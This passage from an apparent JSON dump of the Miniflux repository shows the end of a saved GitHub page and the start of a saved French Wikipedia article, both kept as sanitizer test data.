data-octo-dimensions=\"link_type:self\"\n          \n        >\n        <img src=\"https://avatars.githubusercontent.com/u/1281491?s=64&amp;v=4\" alt=\"@shizunge\" size=\"32\" height=\"32\" width=\"32\" data-view-component=\"true\" class=\"avatar circle\" />\n      </a>\n    </li>\n    <li class=\"mb-2 mr-2\"\n        >\n      <a href=\"https://github.com/krvpb024\"\n          class=\"\"\n            data-hovercard-type=\"user\" data-hovercard-url=\"/users/krvpb024/hovercard\" data-octo-click=\"hovercard-link-click\" data-octo-dimensions=\"link_type:self\"\n          \n        >\n        <img src=\"https://avatars.githubusercontent.com/u/20417513?s=64&amp;v=4\" alt=\"@krvpb024\" size=\"32\" height=\"32\" width=\"32\" data-view-component=\"true\" class=\"avatar circle\" />\n      </a>\n    </li>\n    <li class=\"mb-2 mr-2\"\n        >\n      <a href=\"https://github.com/thiagowfx\"\n          class=\"\"\n            data-hovercard-type=\"user\" data-hovercard-url=\"/users/thiagowfx/hovercard\" data-octo-click=\"hovercard-link-click\" data-octo-dimensions=\"link_type:self\"\n          \n        >\n        <img src=\"https://avatars.githubusercontent.com/u/2840106?s=64&amp;v=4\" alt=\"@thiagowfx\" size=\"32\" height=\"32\" width=\"32\" data-view-component=\"true\" class=\"avatar circle\" />\n      </a>\n    </li>\n    <li class=\"mb-2 mr-2\"\n        >\n      <a href=\"https://github.com/pdewacht\"\n          class=\"\"\n            data-hovercard-type=\"user\" data-hovercard-url=\"/users/pdewacht/hovercard\" data-octo-click=\"hovercard-link-click\" data-octo-dimensions=\"link_type:self\"\n          \n        >\n        <img src=\"https://avatars.githubusercontent.com/u/223495?s=64&amp;v=4\" alt=\"@pdewacht\" size=\"32\" height=\"32\" width=\"32\" data-view-component=\"true\" class=\"avatar circle\" />\n      </a>\n    </li>\n    <li class=\"mb-2 mr-2\"\n        >\n      <a href=\"https://github.com/akosiaris\"\n          class=\"\"\n            data-hovercard-type=\"user\" data-hovercard-url=\"/users/akosiaris/hovercard\" data-octo-click=\"hovercard-link-click\" data-octo-dimensions=\"link_type:self\"\n          \n        >\n        <img src=\"https://avatars.githubusercontent.com/u/814130?s=64&amp;v=4\" alt=\"@akosiaris\" size=\"32\" height=\"32\" width=\"32\" data-view-component=\"true\" class=\"avatar circle\" />\n      </a>\n    </li>\n    <li class=\"mb-2 mr-2\"\n        >\n      <a href=\"https://github.com/dzaikos\"\n          class=\"\"\n            data-hovercard-type=\"user\" data-hovercard-url=\"/users/dzaikos/hovercard\" data-octo-click=\"hovercard-link-click\" data-octo-dimensions=\"link_type:self\"\n          \n        >\n        <img src=\"https://avatars.githubusercontent.com/u/1633653?s=64&amp;v=4\" alt=\"@dzaikos\" size=\"32\" height=\"32\" width=\"32\" data-view-component=\"true\" class=\"avatar circle\" />\n      </a>\n    </li>\n    <li class=\"mb-2 mr-2\"\n        >\n      <a href=\"https://github.com/astrophena\"\n          class=\"\"\n            data-hovercard-type=\"user\" data-hovercard-url=\"/users/astrophena/hovercard\" data-octo-click=\"hovercard-link-click\" data-octo-dimensions=\"link_type:self\"\n          \n        >\n        <img src=\"https://avatars.githubusercontent.com/u/58525038?s=64&amp;v=4\" alt=\"@astrophena\" size=\"32\" height=\"32\" width=\"32\" data-view-component=\"true\" class=\"avatar circle\" />\n      </a>\n    </li>\n    <li class=\"mb-2 mr-2\"\n        >\n      <a href=\"https://github.com/rdelaage\"\n          class=\"\"\n            data-hovercard-type=\"user\" data-hovercard-url=\"/users/rdelaage/hovercard\" data-octo-click=\"hovercard-link-click\" data-octo-dimensions=\"link_type:self\"\n          \n        >\n        <img src=\"https://avatars.githubusercontent.com/u/19993671?s=64&amp;v=4\" alt=\"@rdelaage\" size=\"32\" height=\"32\" width=\"32\" data-view-component=\"true\" class=\"avatar circle\" />\n      </a>\n    </li>\n    <li class=\"mb-2 mr-2\"\n        >\n      <a href=\"https://github.com/qjebbs\"\n          class=\"\"\n            data-hovercard-type=\"user\" data-hovercard-url=\"/users/qjebbs/hovercard\" data-octo-click=\"hovercard-link-click\" data-octo-dimensions=\"link_type:self\"\n          \n        >\n        <img src=\"https://avatars.githubusercontent.com/u/16953333?s=64&amp;v=4\" alt=\"@qjebbs\" size=\"32\" height=\"32\" width=\"32\" data-view-component=\"true\" class=\"avatar circle\" />\n      </a>\n    </li>\n    <li class=\"mb-2 mr-2\"\n        >\n      <a href=\"https://github.com/dave-atx\"\n          class=\"\"\n            data-hovercard-type=\"user\" data-hovercard-url=\"/users/dave-atx/hovercard\" data-octo-click=\"hovercard-link-click\" data-octo-dimensions=\"link_type:self\"\n          \n        >\n        <img src=\"https://avatars.githubusercontent.com/u/8920060?s=64&amp;v=4\" alt=\"@dave-atx\" size=\"32\" height=\"32\" width=\"32\" data-view-component=\"true\" class=\"avatar circle\" />\n      </a>\n    </li>\n    <li class=\"mb-2 mr-2\"\n        >\n      <a href=\"https://github.com/bhopmann\"\n          class=\"\"\n            data-hovercard-type=\"user\" data-hovercard-url=\"/users/bhopmann/hovercard\" data-octo-click=\"hovercard-link-click\" data-octo-dimensions=\"link_type:self\"\n          \n        >\n        <img src=\"https://avatars.githubusercontent.com/u/2770597?s=64&amp;v=4\" alt=\"@bhopmann\" size=\"32\" height=\"32\" width=\"32\" data-view-component=\"true\" class=\"avatar circle\" />\n      </a>\n    </li>\n</ul>\n\n\n\n\n  <div data-view-component=\"true\" class=\"mt-3\">\n    <a text=\"small\" href=\"/miniflux/v2/graphs/contributors\" data-view-component=\"true\" class=\"Link\">\n      + 200 contributors\n</a></div>\n              </div>\n            </div>\n\n        \n        \n            <div class=\"BorderGrid-row\">\n              <div class=\"BorderGrid-cell\">\n                <h2 class=\"h4 mb-3\">Languages</h2>\n<div class=\"mb-2\">\n  <span data-view-component=\"true\" class=\"Progress\">\n    <span style=\"background-color:#00ADD8 !important;;width: 84.5%;\" itemprop=\"keywords\" aria-label=\"Go 84.5\" data-view-component=\"true\" class=\"Progress-item color-bg-success-emphasis\"></span>\n    <span style=\"background-color:#e34c26 !important;;width: 9.1%;\" itemprop=\"keywords\" aria-label=\"HTML 9.1\" data-view-component=\"true\" class=\"Progress-item color-bg-success-emphasis\"></span>\n    <span style=\"background-color:#f1e05a !important;;width: 2.7%;\" itemprop=\"keywords\" aria-label=\"JavaScript 2.7\" data-view-component=\"true\" class=\"Progress-item color-bg-success-emphasis\"></span>\n    <span style=\"background-color:#563d7c !important;;width: 2.2%;\" itemprop=\"keywords\" aria-label=\"CSS 2.2\" data-view-component=\"true\" class=\"Progress-item color-bg-success-emphasis\"></span>\n    <span style=\"background-color:#ecdebe !important;;width: 0.7%;\" itemprop=\"keywords\" aria-label=\"Roff 0.7\" data-view-component=\"true\" class=\"Progress-item color-bg-success-emphasis\"></span>\n    <span style=\"background-color:#427819 !important;;width: 0.3%;\" itemprop=\"keywords\" aria-label=\"Makefile 0.3\" data-view-component=\"true\" class=\"Progress-item color-bg-success-emphasis\"></span>\n    <span style=\"background-color:#ededed !important;;width: 0.5%;\" itemprop=\"keywords\" aria-label=\"Other 0.5\" data-view-component=\"true\" class=\"Progress-item color-bg-success-emphasis\"></span>\n</span></div>\n<ul class=\"list-style-none\">\n    <li class=\"d-inline\">\n        <a class=\"d-inline-flex flex-items-center flex-nowrap Link--secondary no-underline text-small mr-3\" href=\"/miniflux/v2/search?l=go\"  data-ga-click=\"Repository, language stats search click, location:repo overview\">\n          <svg style=\"color:#00ADD8;\" aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-dot-fill mr-2\">\n    <path d=\"M8 4a4 4 0 1 1 0 8 4 4 0 0 1 0-8Z\"></path>\n</svg>\n          <span class=\"color-fg-default text-bold mr-1\">Go</span>\n          <span>84.5%</span>\n        </a>\n    </li>\n    <li class=\"d-inline\">\n        <a class=\"d-inline-flex flex-items-center flex-nowrap Link--secondary no-underline text-small mr-3\" href=\"/miniflux/v2/search?l=html\"  data-ga-click=\"Repository, language stats search click, location:repo overview\">\n          <svg style=\"color:#e34c26;\" aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-dot-fill mr-2\">\n    <path d=\"M8 4a4 4 0 1 1 0 8 4 4 0 0 1 0-8Z\"></path>\n</svg>\n          <span class=\"color-fg-default text-bold mr-1\">HTML</span>\n          <span>9.1%</span>\n        </a>\n    </li>\n    <li class=\"d-inline\">\n        <a class=\"d-inline-flex flex-items-center flex-nowrap Link--secondary no-underline text-small mr-3\" href=\"/miniflux/v2/search?l=javascript\"  data-ga-click=\"Repository, language stats search click, location:repo overview\">\n          <svg style=\"color:#f1e05a;\" aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-dot-fill mr-2\">\n    <path d=\"M8 4a4 4 0 1 1 0 8 4 4 0 0 1 0-8Z\"></path>\n</svg>\n          <span class=\"color-fg-default text-bold mr-1\">JavaScript</span>\n          <span>2.7%</span>\n        </a>\n    </li>\n    <li class=\"d-inline\">\n        <a class=\"d-inline-flex flex-items-center flex-nowrap Link--secondary no-underline text-small mr-3\" href=\"/miniflux/v2/search?l=css\"  data-ga-click=\"Repository, language stats search click, location:repo overview\">\n          <svg style=\"color:#563d7c;\" aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-dot-fill mr-2\">\n    <path d=\"M8 4a4 4 0 1 1 0 8 4 4 0 0 1 0-8Z\"></path>\n</svg>\n          <span class=\"color-fg-default text-bold mr-1\">CSS</span>\n          <span>2.2%</span>\n        </a>\n    </li>\n    <li class=\"d-inline\">\n        <a class=\"d-inline-flex flex-items-center flex-nowrap Link--secondary no-underline text-small mr-3\" href=\"/miniflux/v2/search?l=roff\"  data-ga-click=\"Repository, language stats search click, location:repo overview\">\n          <svg style=\"color:#ecdebe;\" aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-dot-fill mr-2\">\n    <path d=\"M8 4a4 4 0 1 1 0 8 4 4 0 0 1 0-8Z\"></path>\n</svg>\n          <span class=\"color-fg-default text-bold mr-1\">Roff</span>\n          <span>0.7%</span>\n        </a>\n    </li>\n    <li class=\"d-inline\">\n        <a class=\"d-inline-flex flex-items-center flex-nowrap Link--secondary no-underline text-small mr-3\" href=\"/miniflux/v2/search?l=makefile\"  data-ga-click=\"Repository, language stats search click, location:repo overview\">\n          <svg style=\"color:#427819;\" aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-dot-fill mr-2\">\n    <path d=\"M8 4a4 4 0 1 1 0 8 4 4 0 0 1 0-8Z\"></path>\n</svg>\n          <span class=\"color-fg-default text-bold mr-1\">Makefile</span>\n          <span>0.3%</span>\n        </a>\n    </li>\n    <li class=\"d-inline\">\n      <span class=\"d-inline-flex flex-items-center flex-nowrap text-small mr-3\">\n        <svg style=\"color:#ededed;\" aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-dot-fill mr-2\">\n    <path d=\"M8 4a4 4 0 1 1 0 8 4 4 0 0 1 0-8Z\"></path>\n</svg>\n        <span class=\"color-fg-default text-bold mr-1\">Other</span>\n        <span>0.5%</span>\n      </span>\n    </li>\n</ul>\n\n              </div>\n            </div>\n\n              </div>\n</div>\n  \n</div></div>\n\n  </div>\n\n\n  </div>\n\n</turbo-frame>\n\n\n    </main>\n  </div>\n\n  </div>\n\n          <footer class=\"footer pt-8 pb-6 f6 color-fg-muted p-responsive\" role=\"contentinfo\" >\n  <h2 class='sr-only'>Footer</h2>\n\n  \n\n\n  <div class=\"d-flex flex-justify-center flex-items-center flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap\">\n    <div class=\"d-flex flex-items-center flex-shrink-0 mx-2\">\n      <a aria-label=\"Homepage\" title=\"GitHub\" class=\"footer-octicon mr-2\" href=\"https://github.com\">\n        <svg aria-hidden=\"true\" height=\"24\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"24\" data-view-component=\"true\" class=\"octicon octicon-mark-github\">\n    <path d=\"M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z\"></path>\n</svg>\n</a>\n      <span>\n        &copy; 2024 GitHub,&nbsp;Inc.\n      </span>\n    </div>\n\n    <nav aria-label=\"Footer\">\n      <h3 class=\"sr-only\" id=\"sr-footer-heading\">Footer navigation</h3>\n\n      <ul class=\"list-style-none d-flex flex-justify-center flex-wrap mb-2 mb-lg-0\" aria-labelledby=\"sr-footer-heading\">\n\n          <li class=\"mx-2\">\n            <a data-analytics-event=\"{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to Terms&quot;,&quot;label&quot;:&quot;text:terms&quot;}\" href=\"https://docs.github.com/site-policy/github-terms/github-terms-of-service\" data-view-component=\"true\" class=\"Link--secondary Link\">Terms</a>\n          </li>\n\n          <li class=\"mx-2\">\n            <a data-analytics-event=\"{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to privacy&quot;,&quot;label&quot;:&quot;text:privacy&quot;}\" href=\"https://docs.github.com/site-policy/privacy-policies/github-privacy-statement\" data-view-component=\"true\" class=\"Link--secondary Link\">Privacy</a>\n          </li>\n\n          <li class=\"mx-2\">\n            <a data-analytics-event=\"{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to security&quot;,&quot;label&quot;:&quot;text:security&quot;}\" href=\"/security\" data-view-component=\"true\" class=\"Link--secondary Link\">Security</a>\n          </li>\n\n          <li class=\"mx-2\">\n            <a data-analytics-event=\"{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to status&quot;,&quot;label&quot;:&quot;text:status&quot;}\" href=\"https://www.githubstatus.com/\" data-view-component=\"true\" class=\"Link--secondary Link\">Status</a>\n          </li>\n\n          <li class=\"mx-2\">\n            <a data-analytics-event=\"{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to docs&quot;,&quot;label&quot;:&quot;text:docs&quot;}\" href=\"https://docs.github.com\" data-view-component=\"true\" class=\"Link--secondary Link\">Docs</a>\n          </li>\n\n          <li class=\"mx-2\">\n            <a data-analytics-event=\"{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to contact&quot;,&quot;label&quot;:&quot;text:contact&quot;}\" href=\"https://support.github.com?tags=dotcom-footer\" data-view-component=\"true\" class=\"Link--secondary Link\">Contact</a>\n          </li>\n\n          <li class=\"mx-2\" >\n  <cookie-consent-link>\n    <button type=\"button\" class=\"Link--secondary underline-on-hover border-0 p-0 color-bg-transparent\" data-action=\"click:cookie-consent-link#showConsentManagement\">\n      Manage cookies\n    </button>\n  </cookie-consent-link>\n</li>\n\n<li class=\"mx-2\">\n  <cookie-consent-link>\n    <button type=\"button\" class=\"Link--secondary underline-on-hover border-0 p-0 color-bg-transparent\" data-action=\"click:cookie-consent-link#showConsentManagement\">\n      Do not share my personal information\n    </button>\n  </cookie-consent-link>\n</li>\n\n      </ul>\n    </nav>\n  </div>\n</footer>\n\n\n\n\n    <cookie-consent id=\"cookie-consent-banner\" class=\"position-fixed bottom-0 left-0\" style=\"z-index: 999999\" data-initial-cookie-consent-allowed=\"\" data-cookie-consent-required=\"true\"></cookie-consent>\n\n\n  <div id=\"ajax-error-message\" class=\"ajax-error-message flash flash-error\" hidden>\n    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-alert\">\n    <path d=\"M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n</svg>\n    <button type=\"button\" class=\"flash-close js-ajax-error-dismiss\" aria-label=\"Dismiss error\">\n      <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-x\">\n    <path d=\"M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z\"></path>\n</svg>\n    </button>\n    You can’t perform that action at this time.\n  </div>\n\n    <template id=\"site-details-dialog\">\n  <details class=\"details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm\" open>\n    <summary role=\"button\" aria-label=\"Close dialog\"></summary>\n    <details-dialog class=\"Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal\">\n      <button class=\"Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0\" type=\"button\" aria-label=\"Close dialog\" data-close-dialog>\n        <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-x\">\n    <path d=\"M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z\"></path>\n</svg>\n      </button>\n      <div class=\"octocat-spinner my-6 js-details-dialog-spinner\"></div>\n    </details-dialog>\n  </details>\n</template>\n\n    <div class=\"Popover js-hovercard-content position-absolute\" style=\"display: none; outline: none;\" tabindex=\"0\">\n  <div class=\"Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large\" style=\"width:360px;\">\n  </div>\n</div>\n\n    <template id=\"snippet-clipboard-copy-button\">\n  <div class=\"zeroclipboard-container position-absolute right-0 top-0\">\n    <clipboard-copy aria-label=\"Copy\" class=\"ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay\" data-copy-feedback=\"Copied!\" data-tooltip-direction=\"w\">\n      <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-copy js-clipboard-copy-icon m-2\">\n    <path d=\"M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z\"></path><path d=\"M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z\"></path>\n</svg>\n      <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2\">\n    <path d=\"M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z\"></path>\n</svg>\n    </clipboard-copy>\n  </div>\n</template>\n<template id=\"snippet-clipboard-copy-button-unpositioned\">\n  <div class=\"zeroclipboard-container\">\n    <clipboard-copy aria-label=\"Copy\" class=\"ClipboardButton btn btn-invisible js-clipboard-copy m-2 p-0 tooltipped-no-delay d-flex flex-justify-center flex-items-center\" data-copy-feedback=\"Copied!\" data-tooltip-direction=\"w\">\n      <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-copy js-clipboard-copy-icon\">\n    <path d=\"M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z\"></path><path d=\"M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z\"></path>\n</svg>\n      <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-check js-clipboard-check-icon color-fg-success d-none\">\n    <path d=\"M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z\"></path>\n</svg>\n    </clipboard-copy>\n  </div>\n</template>\n\n\n\n\n    </div>\n\n    <div id=\"js-global-screen-reader-notice\" class=\"sr-only\" aria-live=\"polite\" aria-atomic=\"true\" ></div>\n    <div id=\"js-global-screen-reader-notice-assertive\" class=\"sr-only\" aria-live=\"assertive\" aria-atomic=\"true\"></div>\n  </body>\n</html>\n\n"
  },
  {
    "path": "internal/reader/sanitizer/testdata/miniflux_wikipedia.html",
    "content": "<!DOCTYPE html>\n<html class=\"client-nojs vector-feature-language-in-header-enabled vector-feature-language-in-main-page-header-disabled vector-feature-sticky-header-disabled vector-feature-page-tools-pinned-disabled vector-feature-toc-pinned-clientpref-1 vector-feature-main-menu-pinned-disabled vector-feature-limited-width-clientpref-1 vector-feature-limited-width-content-enabled vector-feature-custom-font-size-clientpref-0 vector-feature-client-preferences-disabled vector-feature-client-prefs-pinned-disabled vector-feature-night-mode-disabled skin-night-mode-clientpref-0 vector-toc-available\" lang=\"fr\" dir=\"ltr\">\n<head>\n<meta charset=\"UTF-8\">\n<title>Miniflux — Wikipédia</title>\n<script>(function(){var className=\"client-js vector-feature-language-in-header-enabled vector-feature-language-in-main-page-header-disabled vector-feature-sticky-header-disabled vector-feature-page-tools-pinned-disabled vector-feature-toc-pinned-clientpref-1 vector-feature-main-menu-pinned-disabled vector-feature-limited-width-clientpref-1 vector-feature-limited-width-content-enabled vector-feature-custom-font-size-clientpref-0 vector-feature-client-preferences-disabled vector-feature-client-prefs-pinned-disabled vector-feature-night-mode-disabled skin-night-mode-clientpref-0 vector-toc-available\";var cookie=document.cookie.match(/(?:^|; )frwikimwclientpreferences=([^;]+)/);if(cookie){cookie[1].split('%2C').forEach(function(pref){className=className.replace(new RegExp('(^| )'+pref.replace(/-clientpref-\\w+$|[^\\w-]+/g,'')+'-clientpref-\\\\w+( |$)'),'$1'+pref+'$2');});}document.documentElement.className=className;}());RLCONF={\"wgBreakFrames\":false,\"wgSeparatorTransformTable\":[\",\\t.\",\" \\t,\"],\n\"wgDigitTransformTable\":[\"\",\"\"],\"wgDefaultDateFormat\":\"dmy\",\"wgMonthNames\":[\"\",\"janvier\",\"février\",\"mars\",\"avril\",\"mai\",\"juin\",\"juillet\",\"août\",\"septembre\",\"octobre\",\"novembre\",\"décembre\"],\"wgRequestId\":\"22e3aa19-1dce-40a9-bbd5-d250c14d2223\",\"wgCanonicalNamespace\":\"\",\"wgCanonicalSpecialPageName\":false,\"wgNamespaceNumber\":0,\"wgPageName\":\"Miniflux\",\"wgTitle\":\"Miniflux\",\"wgCurRevisionId\":204322562,\"wgRevisionId\":204322562,\"wgArticleId\":7063156,\"wgIsArticle\":true,\"wgIsRedirect\":false,\"wgAction\":\"view\",\"wgUserName\":null,\"wgUserGroups\":[\"*\"],\"wgCategories\":[\"Wikipédia:ébauche Internet\",\"Article manquant de références depuis mars 2014\",\"Article manquant de références/Liste complète\",\"Page utilisant P348\",\"Page utilisant P1324\",\"Page utilisant P277\",\"Logiciel catégorisé automatiquement par langage d'écriture\",\"Article utilisant une Infobox\",\"Article contenant un appel à traduction en anglais\",\"Portail:Logiciels libres/Articles liés\",\"Portail:Logiciel/Articles liés\",\n\"Portail:Informatique/Articles liés\",\"Logiciel écrit en Go\",\"Agrégateur\",\"Application web\"],\"wgPageViewLanguage\":\"fr\",\"wgPageContentLanguage\":\"fr\",\"wgPageContentModel\":\"wikitext\",\"wgRelevantPageName\":\"Miniflux\",\"wgRelevantArticleId\":7063156,\"wgIsProbablyEditable\":true,\"wgRelevantPageIsProbablyEditable\":true,\"wgRestrictionEdit\":[],\"wgRestrictionMove\":[],\"wgNoticeProject\":\"wikipedia\",\"wgMediaViewerOnClick\":true,\"wgMediaViewerEnabledByDefault\":true,\"wgPopupsFlags\":4,\"wgVisualEditor\":{\"pageLanguageCode\":\"fr\",\"pageLanguageDir\":\"ltr\",\"pageVariantFallbacks\":\"fr\"},\"wgMFDisplayWikibaseDescriptions\":{\"search\":true,\"watchlist\":true,\"tagline\":true,\"nearby\":true},\"wgWMESchemaEditAttemptStepOversample\":false,\"wgWMEPageLength\":2000,\"wgULSCurrentAutonym\":\"français\",\"wgCentralAuthMobileDomain\":false,\"wgEditSubmitButtonLabelPublish\":true,\"wgULSPosition\":\"interlanguage\",\"wgULSisCompactLinksEnabled\":false,\"wgVector2022LanguageInHeader\":true,\"wgULSisLanguageSelectorEmpty\":false,\"wgWikibaseItemId\":\n\"Q16664605\",\"wgCheckUserClientHintsHeadersJsApi\":[\"architecture\",\"bitness\",\"brands\",\"fullVersionList\",\"mobile\",\"model\",\"platform\",\"platformVersion\"],\"GEHomepageSuggestedEditsEnableTopics\":true,\"wgGETopicsMatchModeEnabled\":false,\"wgGEStructuredTaskRejectionReasonTextInputEnabled\":false,\"wgGELevelingUpEnabledForUser\":false};RLSTATE={\"skins.vector.user.styles\":\"ready\",\"ext.globalCssJs.user.styles\":\"ready\",\"site.styles\":\"ready\",\"user.styles\":\"ready\",\"skins.vector.user\":\"ready\",\"ext.globalCssJs.user\":\"ready\",\"user\":\"ready\",\"user.options\":\"loading\",\"ext.cite.styles\":\"ready\",\"codex-search-styles\":\"ready\",\"skins.vector.styles\":\"ready\",\"skins.vector.icons\":\"ready\",\"ext.visualEditor.desktopArticleTarget.noscript\":\"ready\",\"ext.uls.interlanguage\":\"ready\",\"wikibase.client.init\":\"ready\",\"ext.wikimediaBadges\":\"ready\"};RLPAGEMODULES=[\"ext.cite.ux-enhancements\",\"site\",\"mediawiki.page.ready\",\"skins.vector.js\",\"ext.centralNotice.geoIP\",\"ext.centralNotice.startUp\",\"ext.gadget.ArchiveLinks\",\n\"ext.gadget.Wdsearch\",\"ext.urlShortener.toolbar\",\"ext.centralauth.centralautologin\",\"mmv.head\",\"mmv.bootstrap.autostart\",\"ext.popups\",\"ext.visualEditor.desktopArticleTarget.init\",\"ext.visualEditor.targetLoader\",\"ext.echo.centralauth\",\"ext.eventLogging\",\"ext.wikimediaEvents\",\"ext.navigationTiming\",\"ext.uls.interface\",\"ext.cx.eventlogging.campaigns\",\"ext.cx.uls.quick.actions\",\"wikibase.client.vector-2022\",\"ext.checkUser.clientHints\",\"ext.quicksurveys.init\",\"ext.growthExperiments.SuggestedEditSession\"];</script>\n<script>(RLQ=window.RLQ||[]).push(function(){mw.loader.impl(function(){return[\"user.options@12s5i\",function($,jQuery,require,module){mw.user.tokens.set({\"patrolToken\":\"+\\\\\",\"watchToken\":\"+\\\\\",\"csrfToken\":\"+\\\\\"});\n}];});});</script>\n<link rel=\"stylesheet\" 